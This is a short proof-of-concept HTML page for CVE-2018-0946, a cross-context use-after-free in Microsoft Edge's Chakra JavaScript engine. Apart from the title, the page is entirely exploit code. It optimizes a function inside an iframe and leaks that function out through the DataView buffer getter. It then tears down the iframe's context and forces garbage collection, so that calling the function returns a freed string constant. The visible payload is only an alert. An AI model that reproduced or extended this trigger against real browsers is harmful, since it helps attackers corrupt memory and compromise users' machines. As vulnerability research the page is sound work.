Microsoft Edge: Chakra: Cross context bug(CVE-2018-0946)

                                                <body>
<script>
let f = document.body.appendChild(document.createElement('iframe'));
let wrapped_dv = f.contentWindow.eval(`
    function opt() {
        return 'xxxx';
    }

    // Optimizing "opt", so that the address of 'xxxx' can be inlineed.
    for (let i = 0; i < 100000; i++) {
        opt();
    }

    let dv = new DataView(new ArrayBuffer(0));
    dv.buffer.opt = opt;
    dv;
`);

let buffer = DataView.prototype.__lookupGetter__('buffer').call(wrapped_dv);
let opt = buffer.opt;

f.onload = () => {
    f.onload = null;

    // Garbage collection
    for (let i = 0; i < 10; i++)
        new ArrayBuffer(1024 * 1024 * 40);

    let obj = opt();  // "opt" returns the freed string constant.
    alert(obj);
};

// Closing the diffrent context
f.src = 'about:blank';

</script>
</body>